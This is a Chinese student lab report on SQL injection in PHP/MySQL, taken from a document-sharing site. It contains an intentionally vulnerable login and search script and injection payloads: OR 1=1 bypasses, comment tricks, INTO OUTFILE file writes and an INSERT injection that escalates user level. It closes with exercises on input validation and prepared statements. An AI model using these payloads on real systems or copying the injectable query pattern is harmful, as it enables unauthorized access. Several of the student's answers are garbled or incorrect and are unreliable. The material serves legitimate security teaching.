信息安全实验4报告模板Word文档下载推荐.docx
- 文档编号:17467568
- 上传时间:2022-12-01
- 格式:DOCX
- 页数:24
- 大小:1.20MB
信息安全实验4报告模板Word文档下载推荐.docx
《信息安全实验4报告模板Word文档下载推荐.docx》由会员分享,可在线阅读,更多相关《信息安全实验4报告模板Word文档下载推荐.docx(24页珍藏版)》请在冰豆网上搜索。
servicemysqldstatus
(2)创建user数据库表
在控制台中输入mysql,进入mysql客户端控制台(mysql>
)。
①选择工作数据库test(缺少状态下,test数据库已被创建)。
usetest;
②创建user数据库表
CREATETABLEuser(useridint(11)NOTNULLAUTO_INCREMENT,usernamevarchar(20)NOTNULLDEFAULT"
"
passwordvarchar(20)NOTNULLDEFAULT"
PRIMARYKEY(userid))TYPE=MyISAMAUTO_INCREMENT=3;
③插入两条数据信息
INSERTINTOuserVALUES(1,"
angel"
"
mypass"
);
INSERTINTOuserVALUES(2,"
lblis"
yourpass"
④查看数据库表
select*fromuser;
2.编写PHP脚本查询user数据库表
编写access.php脚本,内容如下:
<
?
php
$servername="
localhost"
#定义变量MySQL服务器名称
$dbusername="
root"
;
#访问MySQL数据库的用户名称
$dbpassword="
#root用户密码,默认为空
$dbname="
test"
#工作数据库
$username=$_GET['
username'
];
#利用HTTP的GET方法,从URL中获取username参数值
$password=$_GET['
password'
#获取password参数值
##连接到MySQL服务器
$dbcnx=mysql_connect($servername,$dbusername,$dbpassword);
{
if(!
$dbcnx)
{
echo("
连接MySQL服务器失败"
.mysql_error());
exit();
}}
##选择工作数据库
if(!
mysql_select_db($dbname,$dbcnx))
echo("
激活$dbname数据库失败"
exit();
}
##SQL查询
$sql_select="
SELECT*FROMuserWHEREusername='
$username'
ANDpassword='
$password'
$result=mysql_query($sql_select,$dbcnx);
$userinfo=mysql_fetch_array($result);
if(empty($userinfo))
登录失败"
);
else
登录成功"
echo"
p>
SQL查询:
$sql_select<
>
从代码中可知,当输入正确的用户名和密码后,就会提示登录成功,否则登录失败。
单击桌面控制面板中“Web浏览器”按钮,当我们在URL地址栏中提交:
http:
//本机IP/access.php?
username=angel&
password=mypass
Web页面会提示“登录成功”。
写出此时PHP脚本中具体的SQL查询语句:
SELECT*FROMuserWHEREusername=’angel’ANDpassword=’mypass’
3.实施SQL注入
(1)在URL地址栏中提交:
username=angel'
or1=1
注入是否成功?
否。
SELECT*FROMuserWHEREusername=’angel’or1=1’ANDpassword=”
(2)在URL地址栏中提交:
or'
1=1
是。
SELECT*FROMuserWHEREusername=’angel’or‘1=1’ANDpassword=”
通过分析SQL查询语句解释实验现象:
username=’angel’or1=1’是不合法的,username=’angel’or‘1=1’是合法的用户,名注入,且任何数或上1都为1,所以成功。
(3)在URL地址栏中提交:
%23
SELECT*FROMuserWHEREusername=’angel’#’ANDpassword=”
此处利用了MySQL支持“#”注释格式的特性,在提交的时候会将#后面的语句注释掉。
由于编码问题,在多数Web浏览器URL地址栏里直接提交#会变成空,所以这里使用了字符“#”的ASCII码值0x23。
(4)Mysql还支持“/*”注释格式,请写出利用“/*”实现注入的URL,以及此时的SQL查询语句。
SQL查询语句:
SELECT*FROMuserWHEREusername=’angel’*’ANDpassword=”
URL:
http:
//172.16.0.179/access.php?
username=angle’%2F%2A
(5)步骤
(2)通过向username注入逻辑or运算,在只需知晓用户名的情况下便可成功登录。
下面请设计单独向password注入逻辑运算(可多个),要求在只需知晓用户名的情况下实现登录:
SELECT*FROMuserWHEREusername=’angel’or1=1’ANDpassword=”
username=angle’%20or%201=1
(6)下面请设计SQL查询语句,要求在不需要知晓用户名和密码的情况下实现登录。
提示:
通过猜测用户ID字段名称与用户序列号,结合逻辑运算,向password进行注入。
SELECT*FROMuserWHEREusername=’angel’or‘1=1’ANDpassword=”
username=angle’%20or%20’1=1
二.搜索引擎注入
值得注意的是,Internet上有许多的PHP程序搜索引擎是存在问题的,也就是提交特殊字符就可以显示所有记录,包括不符合条件的。
1.创建隶属test数据库的file表
(1)创建file数据库表
file数据库表结构如下:
CREATETABLEfile
(
fileidint(11)NOTNULLAUTO_INCREMENT,
titlevarchar(20)NOTNULLDEFAULT"
authorvarchar(20)NOTNULLDEFAULT"
summaryvarchar(1024)NOTNULLDEFAULT"
PRIMARYKEY(fileid)
)
TYPE=MyISAMAUTO_INCREMENT=3;
(2)插入四条数据信息
title
author
summary
honeypotpaper
honeypotandhoneynet
snortpaper
snortintrusiondetection
snortbasednetwork
ppi
anothersnortpaper
iptables+snort
noname
intelligenceids
2.编写HTML页面
通过HTML页面提交表单给服务器端PHP脚本,由PHP根据表单索引关键字对MySQL数据库进行查询,最后将查询结果返回给HTML页面。
HTML页面代码如下:
html>
body>
formaction="
search.php"
method="
post"
#指定处理表单请求的PHP脚本为search.php
tableborder="
0"
trbgcolor="
#cccaaa"
<
tdwidth="
300"
文档搜索引擎<
/td>
/tr>
/table>
tr>
td>
关键字:
tdalign="
left"
inputtype="
text"
name="
key"
size="
32"
maxlength="
tdbgcolor="
colspan="
2"
align="
submit"
value="
搜索"
/form>
/body>
/html>
HTML页面如图所示:
3.编写PHP脚本查询file数据库表
$key=$_POST['
key'
#从html表单中提取变量值
head>
title>
搜索结果<
/title>
/head>
h3>
/h3>
php>
echo"
搜索关键字:
$key<
文档搜索时间:
echodate("
H:
i,jSF<
搜索结果:
$tablename="
$result=mysql_connect($servername,$dbusername,$dbpassword);
$result){
echo("
连接mysql服务器失败"
empty($key)){
$sql_select="
SELECT*FROMfileWHEREtitleLIKE'
%$key%'
#模糊查询title中含有指定关键字的记录,其中%符号表示通配,这里前、后均通配
$result=mysql_db_query($dbname,$sql_select);
if(empty($result)){
echo"
error"
}
$total=mysql_num_rows($result);
if($total<
=0)
The$keywasnotfoundinalltherecord<
else{
while($file=mysql_fetch_array($result))
echo("
li>
.htmlspecialchars($file[title])."
摘要:
.htmlspecialchars($file[summary]));
else{
echo("
b>
请输入查询关键字.<
/b>
exit();
输入关键字“snort”,进行搜索,搜索结果中含有多少条记录?
3。
记录中是否包含与snort关键字无关的项无。
SELECT*FORMfileWHEREtitleLIKE‘%$snort%’”;
4.SQL注入
(1)利用PHP脚本没有对关键字变量进行检查的漏洞进入SQL注入。
输入关键字“%”,进行搜索,搜索结果中含有多少条记录?
4。
记录中是否包含与snort关键字无关的项2个分别为:
honeypotpater和iptables+snort。
SELECT*FORMfileWHEREtitleLIKE‘%$%%’”;
解释SQL查询语句含义:
搜索表,并对file表搜索关键字“%”的数据
(2)输入关键字“_’ORDERBYfileid#”
「说明」“_”字符表示单字符通配,n个“_”字符则表示n字符通配。
“ORDERBYfileid”表示按特定顺序进行SQL查询。
若fileid为整型字段,则按整数大小(由小到大)顺序进行查询;
若fileid为字符数组类型字段,则按字符ASCII码(由前到后)顺序进行查询。
SELECT*FORMfileWHEREtitleLIKE‘%$_’ORDERBYfileid#%’”;
搜索表,并对file表搜索关键字“_’ORDERBYfileid#’”的数据
三.注入实现导出文件
本实验步骤仅为说明由于SQL注入而给服务器系统带来一定程度上的危害。
在步骤一中,我们使用用户名,在无需知晓用户密码的情况下,通过SQL注入实现了登录。
作为进一步操作,我们可以通过SQL注入来向服务器硬盘中写入大量无用的文件,而这是利用了MySQL的“INTOOUTFILE”命令,其查询方法如下:
SELECT*FROMuserWHEREcondINTOOUTFILE'
/etc/temp.txt'
上述SQL查询语句会将user数据库表中,满足cond条件的记录以INTOOUTFILE标准格式导出到/etc/temp.txt文件中。
而信息能够被成功导出到/etc/temp.txt中的条件是目标目录有可写的权限和目标文件不存在。
基于步骤一,写出能够实现(SQL注入)上述功能的URL:
//172.16.0.56/access.php?
passname=mypass’INTOOUTFILE’/etc/temp.txt
SELECT*FROMuserWHEREusername=’angel’AND‘passname=mypass’http:
passname=mypass’INTOOUTFILE’/etc/temp.txt’
四.通过注入提升用户权限
如果大家认为SQL注入仅仅适用于SELECT语句就大错特错了,其实还有两个危害更大的操作,那就是INSERT和UPDATE语句。
(1)创建隶属test数据库的register表
切换至/opt/ExpNIC/HostSec-Lab/Projects/step4/目录,执行脚本
create_table_register创建register数据库表。
写出数据表包含的字段名称:
Userid、username、password、homepage、userlevel
(2)注册用户
将/opt/ExpNIC/HostSec-Lab/Projects/step4/目录中的register.htm和register.php文件拷贝至/var/www/html目录下。
在Web浏览器URL地址栏中访问register.htm页面。
填写“用户名”、“用户口令”和“个人主页”信息,单击“注册”按钮,进行注册。
注册用户级别(userlevel)3。
//截图,注册成功的图,图里面需要包含地址栏
(3)SQL注入提升注册用户权限
返回到register.htm页面,按如下方法填写“个人主页”信息。
'
'
1'
)#
单击“注册”按钮,用户注册级别1。
INSEERTINTOregisterVALUES(0,’zoutuoling’,’123456’,’’,’1’)#’,3)
【思考问题】
1.SQL注入漏洞产生的原因是什么?
练习二、防范SQL注入
了解防范SQL注入的方法
学会利用合法性校验防范SQL注入
学会利用preparedstatement执行SQL查询
【实验工具】
--
一.客户端进行合法性校验
进行实验之前首先启动MySQL服务,命令如下:
(1)单击工具栏“控制台”按钮,进入实验目录。
login是存在SQL注入漏洞的Web应用程序。
复制login.htm和login.php文件到/var/www/html/目录(Web服务文档主目录)。
(2)使用Web浏览器浏览login.htm,在URL地址栏中输入如下信息:
//本机IP地址/login.htm
进入“注册会员登录”页面,用户名:
hello,密码:
hellopass,确定登录成功。
(3)注入攻击
返回login.htm登录界面,输入用户名:
hello'
1=1,密码任意,尝试登录。
由于login.htm没有对“用户名”、“密码”输入数据的合法性进行验证,从而导致了SQL被注入。
(4)编辑/var/www/html/login.htm文件,利用JavaScript对用户输入数据进行合法性验证,限制用户输入“'
”(单引号)、、“"
”(双引号)、“-”、“=”、“;
”、“>
”、“<
”、“/”、“%”特殊字符及SQL关键字。
(5)加入合法性校验后,尝试基于login.htm进行SQL注入攻击。
(6)加入合法性校验后,尝试基于URL进行SQL注入攻击。
直接在URL链接中输入http:
//虚拟主机地址/login.php?
username=hello’or’1=1。
二.服务器进行合法性校验
(1)复制并重命名实验目录login.htm和login.php文件至/var/www/html/login2.htm和login2.php。
(2)编辑/var/www/html/login2.php文件,利用PHP脚本对用户输入数据进行合法性验证,限制用户输入“'
”(单引号)、“"
(3)加入合法性校验后,尝试基于login.htm进行SQL注入攻击。
(4)加入合法性校验后,尝试基于URL进行SQL注入攻击。
三.预处理执行SQL查询
(1)复制并重命名实验目录login.htm和login.php文件至/var/www/html/login3.htm和login3.php。
(2)编辑/var/www/html/login3.php文件,重写PHP访问MySQL数据库部分,利用preparedstatement实现SQL查询。
(3)尝试进行各种SQL注入攻击。
实验心得
关于本实验我最大的感触是,在操作上有很大的困难,老师讲解后能够知道如何操作,但是整个实验,时间往往是浪费在操作过程上。
另外,这个实验虚拟机用的是linux系统,因此与windows系统不能直接移动文件,要通过虚拟机里的windows系统才能把文件移进去,这也运用了计算机的IP地址,IP地址在整个实验过程起到至关重要的作用,一旦IP地址出错就无法访问本机,也就导致无法执行相应操作。
实验评价
点评:
1、实验操作
2、报告内容
3、课后思考题
4、课堂表现
总评
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 信息 安全 实验 报告 模板